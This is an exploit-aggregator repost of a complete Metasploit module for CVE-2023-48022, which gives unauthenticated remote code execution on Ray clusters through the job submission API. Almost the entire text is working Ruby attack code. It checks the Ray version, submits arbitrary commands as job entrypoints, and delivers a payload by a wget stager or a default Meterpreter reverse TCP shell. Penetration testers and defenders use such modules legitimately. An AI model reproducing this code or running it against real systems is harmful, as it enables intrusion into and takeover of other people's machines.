Ray Agent Job Remote Code Execution Exploit exploit

2 months ago 23
BOOK THIS SPACE FOR AD
ARTICLE AD

Share

## https://sploitus.com/exploit?id=1337DAY-ID-39734 ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Ray Agent Job RCE', 'Description' => %q{ RCE in Ray via the agent job submission endpoint. This is intended functionality as Ray's main purpose is executing arbitrary workloads. By default Ray has no authentication. }, 'Author' => [ 'sierrabearchell', # Vulnerability discovery 'byt3bl33d3r <[email protected]>', # Python Metasploit module 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-48022'], ['URL', 'https://huntr.com/bounties/b507a6a0-c61a-4508-9101-fceb572b0385/'], ['URL', 'https://huntr.com/bounties/787a07c0-5535-469f-8c53-3efa4e5717c7/'] ], 'CmdStagerFlavor' => %i[wget], 'Payload' => { 'DisableNops' => true }, 'Platform' => %w[linux], 'Targets' => [ [ 'Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], [ 'Linux aarch64', { 'Arch' => ARCH_AARCH64, 'Platform' => 'linux' } ], [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', 'FETCH_COMMAND' => 'WGET', 'MeterpreterTryToFork' => true } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-11-15', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(8265), ] ) end def get_job_data(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/jobs/'), 'data' => { 'entrypoint' => cmd }.to_json }) unless res && res.code == 200 res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api/job_agent/jobs/'), 'data' => { 'entrypoint' => cmd }.to_json }) end return unless res && res.code == 200 JSON.parse(res.body) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api/version') }) return Exploit::CheckCode::Unknown unless res && res.code == 200 ray_version = res.get_json_document['ray_version'] return Exploit::CheckCode::Unknown unless ray_version return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3') @job_data = get_job_data('ls') return Exploit::CheckCode::Vulnerable unless @job_data.nil? Exploit::CheckCode::Appears end def exploit @job_data ||= get_job_data('ls') if @job_data print_good("Command execution successful. Job ID: '#{@job_data['job_id']}' Submission ID: '#{@job_data['submission_id']}'") end case target['Type'] when :nix_cmd execute_command(payload.encoded) else execute_cmdstager({ flavor: :wget }) end end def execute_command(cmd, _opts = {}) get_job_data(cmd) end end
Read Entire Article